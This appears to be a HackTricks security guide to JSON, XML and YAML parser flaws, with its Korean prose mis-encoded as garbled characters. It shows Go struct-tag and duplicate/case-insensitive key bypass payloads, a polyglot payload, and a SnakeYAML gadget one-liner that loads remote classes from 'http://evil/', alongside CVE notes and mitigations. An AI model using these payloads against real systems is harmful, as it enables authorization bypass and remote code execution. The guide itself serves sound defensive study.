JSON, XML & Yaml Hacking & Issues

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Go JSON Decoder

๋‹ค์Œ ๋ฌธ์ œ๋“ค์€ Go JSON์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์ง€๋งŒ ๋‹ค๋ฅธ ์–ธ์–ด์—๋„ ์กด์žฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๋“ค์€ this blog post์— ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Go์˜ JSON, XML, YAML ํŒŒ์„œ๋Š” ์ผ๊ด€์„ฑ ๋ถ€์กฑ๊ณผ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ๊ธฐ๋ณธ ์„ค์ •์ด ์˜ค๋ž˜์ „๋ถ€ํ„ฐ ์ด์–ด์ ธ ์™”์œผ๋ฉฐ, ์ด๋Š” ์ธ์ฆ ์šฐํšŒ, ๊ถŒํ•œ ์ƒ์Šน, ๋˜๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ ์œ ์ถœ์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

(Un)Marshaling Unexpected Data

๋ชฉํ‘œ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฏผ๊ฐํ•œ ํ•„๋“œ(์˜ˆ: IsAdmin, Password)๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ธ ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๊ตฌ์กฐ์ฒด(struct)๋ฅผ ์•…์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

  • ์˜ˆ์‹œ ๊ตฌ์กฐ์ฒด:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ 
  1. ํƒœ๊ทธ ์—†์Œ (ํƒœ๊ทธ๊ฐ€ ์—†์œผ๋ฉด = ํ•„๋“œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์—ฌ์ „ํžˆ ํŒŒ์‹ฑ๋ฉ๋‹ˆ๋‹ค):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. -์˜ ์ž˜๋ชป๋œ ์‚ฌ์šฉ:
type User struct {
IsAdmin bool `json:"-,omitempty"` // โŒ wrong
}

Payload:

{"-": true}

โœ”๏ธ ํ•„๋“œ๊ฐ€ (un)marshaled ๋˜๋Š” ๊ฒƒ์„ ์ฐจ๋‹จํ•˜๋Š” ์˜ฌ๋ฐ”๋ฅธ ๋ฐฉ๋ฒ•:

type User struct {
IsAdmin bool `json:"-"`
}

ํŒŒ์„œ ์ฐจ์ด

๋ชฉํ‘œ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ํŒŒ์„œ๊ฐ€ ๋™์ผํ•œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„ํ•˜๋Š” ์ ์„ ์ด์šฉํ•ด authorization์„ bypassํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. ์ค‘๋ณต ํ•„๋“œ: Go์˜ encoding/json๋Š” ๋งˆ์ง€๋ง‰ ํ•„๋“œ๋ฅผ ์ทจํ•ฉ๋‹ˆ๋‹ค.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

๋‹ค๋ฅธ ํŒŒ์„œ(์˜ˆ: Javaโ€™s Jackson)๋Š” ์ฒซ ๋ฒˆ์งธ ๊ฐ’์„ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

2. ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ์—†์Œ:
Go๋Š” ๋Œ€์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Unicode ํŠธ๋ฆญ๋„ ํ†ตํ•œ๋‹ค:

json.Unmarshal([]byte(`{"aโ„ชtionลฟ": "bypass"}`), &req)

3. Cross-service mismatch: ์ƒ์ƒํ•ด๋ณด์ž:

  • Proxy๊ฐ€ Go๋กœ ์ž‘์„ฑ๋จ
  • AuthZ service๊ฐ€ Python์œผ๋กœ ์ž‘์„ฑ๋จ

Attacker๊ฐ€ ๋ณด๋ƒ„:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python์€ UserAction์„ ๋ณด๊ณ  ํ—ˆ์šฉํ•œ๋‹ค
  • Go๋Š” AdminAction์„ ๋ณด๊ณ  ์‹คํ–‰ํ•œ๋‹ค

๋ฐ์ดํ„ฐ ํ˜•์‹ ํ˜ผ๋™ (Polyglots)

๋ชฉํ‘œ๋Š” ํฌ๋งท์„ ํ˜ผํ•ฉ(JSON/XML/YAML)ํ•˜๊ฑฐ๋‚˜ ํŒŒ์„œ ์˜ค๋ฅ˜ ์‹œ fail openํ•˜๋Š” ์‹œ์Šคํ…œ์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ์˜ˆ:

  • CVE-2020-16250: HashiCorp Vault๋Š” STS๊ฐ€ XML ๋Œ€์‹  JSON์„ ๋ฐ˜ํ™˜ํ•œ ํ›„ XML ํŒŒ์„œ๋กœ JSON์„ ํŒŒ์‹ฑํ–ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ•ญ๋ชฉ:

  • Accept: application/json ํ—ค๋”
  • JSON ๋ณธ๋ฌธ์˜ ์ผ๋ถ€ ์ œ์–ด

Go์˜ XML ํŒŒ์„œ๋Š” ์–ด์จŒ๋“  ์ด๋ฅผ ํŒŒ์‹ฑํ–ˆ๊ณ  ์ฃผ์ž…๋œ ์‹ ์›์„ ์‹ ๋ขฐํ–ˆ๋‹ค.

  • ์ œ์ž‘๋œ payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

๊ฒฐ๊ณผ:

  • Go JSON ํŒŒ์„œ: Action_2 (๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š์Œ + ๋งˆ์ง€๋ง‰ ํ•ญ๋ชฉ ์šฐ์„ )
  • YAML ํŒŒ์„œ: Action_1 (๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„)
  • XML ํŒŒ์„œ: ๋ฌธ์ž์—ด ๋‚ด๋ถ€์˜ "Action_3"์„ ํŒŒ์‹ฑํ•จ

์ฃผ๋ชฉํ•  ๋งŒํ•œ ํŒŒ์„œ ์ทจ์•ฝ์  (2023-2025)

๋‹ค์Œ ๊ณต๊ฐœ์ ์œผ๋กœ ์•…์šฉ ๊ฐ€๋Šฅํ•œ ์ด์Šˆ๋“ค์€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ํŒŒ์‹ฑ์ด ๋‹ค์ค‘ ์–ธ์–ด ๋ฌธ์ œ๋ผ๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ค€๋‹ค โ€” ๋‹จ์ง€ Go๋งŒ์˜ ๋ฌธ์ œ๊ฐ€ ์•„๋‹ˆ๋‹ค.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • ์˜ํ–ฅ ๋Œ€์ƒ: org.yaml:snakeyaml < 2.0 (Spring-Boot, Jenkins ๋“ฑ์—์„œ ์‚ฌ์šฉ๋จ).
  • ๊ทผ๋ณธ ์›์ธ: new Constructor()๊ฐ€ ์ž„์˜์˜ Java ํด๋ž˜์Šค๋ฅผ ์—ญ์ง๋ ฌํ™”ํ•˜์—ฌ gadget ์ฒด์ธ์„ ํ—ˆ์šฉํ•˜๋ฉฐ, ์ด๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ.
  • ์›๋ผ์ด๋„ˆ PoC (์ทจ์•ฝํ•œ ํ˜ธ์ŠคํŠธ์—์„œ ๊ณ„์‚ฐ๊ธฐ๋ฅผ ์‹คํ–‰ํ•จ):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • ์ˆ˜์ • / ์™„ํ™”:
  1. โ‰ฅ2.0๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ (SafeLoader๋ฅผ ๊ธฐ๋ณธ์œผ๋กœ ์‚ฌ์šฉ).
  2. ๊ตฌ๋ฒ„์ „์—์„œ๋Š” ๋ช…์‹œ์ ์œผ๋กœ new Yaml(new SafeConstructor())๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

libyaml Double-Free (CVE-2024-35325)

  • ์˜ํ–ฅ ๋ฐ›์Œ: libyaml โ‰ค0.2.5 (๋งŽ์€ ์–ธ์–ด ๋ฐ”์ธ๋”ฉ์—์„œ ํ™œ์šฉ๋˜๋Š” C ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ).
  • ๋ฌธ์ œ: yaml_event_delete()๋ฅผ ๋‘ ๋ฒˆ ํ˜ธ์ถœํ•˜๋ฉด double-free๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ DoS๋กœ ๋งŒ๋“ค๊ฑฐ๋‚˜, ์ผ๋ถ€ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” heap exploitation์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ƒํƒœ: Upstream์—์„œ โ€œAPI misuseโ€๋กœ ๊ฑฐ๋ถ€ํ–ˆ์ง€๋งŒ, ๋ฆฌ๋ˆ…์Šค ๋ฐฐํฌํŒ๋“ค์€ ๋ฐฉ์–ด์ ์œผ๋กœ ํฌ์ธํ„ฐ๋ฅผ null-free ์ฒ˜๋ฆฌํ•˜๋Š” ํŒจ์น˜๋œ 0.2.6์„ ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • ์˜ํ–ฅ ๋ฐ›์Œ: Tencent RapidJSON 8269bc2 ์ปค๋ฐ‹ ์ด์ „ (<1.1.0-patch-22).
  • ์ทจ์•ฝ์ : GenericReader::ParseNumber()์—์„œ ๊ฒ€์ฆ๋˜์ง€ ์•Š์€ ์‚ฐ์ˆ  ์—ฐ์‚ฐ์œผ๋กœ ์ธํ•ด ๊ณต๊ฒฉ์ž๊ฐ€ ํฌ๊ฒŒ ๋ฒ—์–ด๋‚œ ์ˆซ์ž ๋ฆฌํ„ฐ๋Ÿด์„ ์กฐ์ž‘ํ•ด wrap-around๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ณ  heap์„ ์†์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ โ€” ๊ฒฐ๊ณผ ๊ฐ์ฒด ๊ทธ๋ž˜ํ”„๊ฐ€ ๊ถŒํ•œ ๊ฒฐ์ •์— ์‚ฌ์šฉ๋  ๊ฒฝ์šฐ ๊ฒฐ๊ตญ privilege-escalation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ” ์™„ํ™”์ฑ… (์—…๋ฐ์ดํŠธ๋จ)

RiskFix / Recommendation
์•Œ ์ˆ˜ ์—†๋Š” ํ•„๋“œ (JSON)decoder.DisallowUnknownFields()
์ค‘๋ณต ํ•„๋“œ (JSON)โŒ stdlib์—๋Š” ์ˆ˜์ • ์—†์Œ โ€” ๊ฒ€์ฆ์„ ์œ„ํ•ด jsoncheck ์‚ฌ์šฉ
๋Œ€์†Œ๋ฌธ์ž ๋ฌด์‹œ ๋งค์นญ (Go)โŒ ์ˆ˜์ • ์—†์Œ โ€” struct tag์„ ๊ฒ€์ฆํ•˜๊ณ  ์ž…๋ ฅ์„ ์‚ฌ์ „ ์ •๊ทœํ™”(pre-canonicalize)
XML ๋ถˆํ•„์š” ๋ฐ์ดํ„ฐ / XXE๊ฐ•ํ™”๋œ ํŒŒ์„œ ์‚ฌ์šฉ (encoding/xml + DisallowDTD)
YAML ์•Œ ์ˆ˜ ์—†๋Š” ํ‚คyaml.KnownFields(true)
Unsafe YAML deserializationSafeConstructor ์‚ฌ์šฉ / SnakeYAML โ‰ฅ2.0์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ
libyaml โ‰ค0.2.5 double-free0.2.6 ๋˜๋Š” ๋ฐฐํฌํŒ ํŒจ์น˜ ๋ฆด๋ฆฌ์Šค๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ
RapidJSON <patched commit์ตœ์‹  RapidJSON(โ‰ฅJuly 2024)์œผ๋กœ ์ปดํŒŒ์ผ

See also

Mass Assignment Cwe 915

์ฐธ๊ณ ์ž๋ฃŒ

  • Baeldung โ€“ โ€œResolving CVE-2022-1471 With SnakeYAML 2.0โ€
  • Ubuntu Security Tracker โ€“ CVE-2024-35325 (libyaml)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ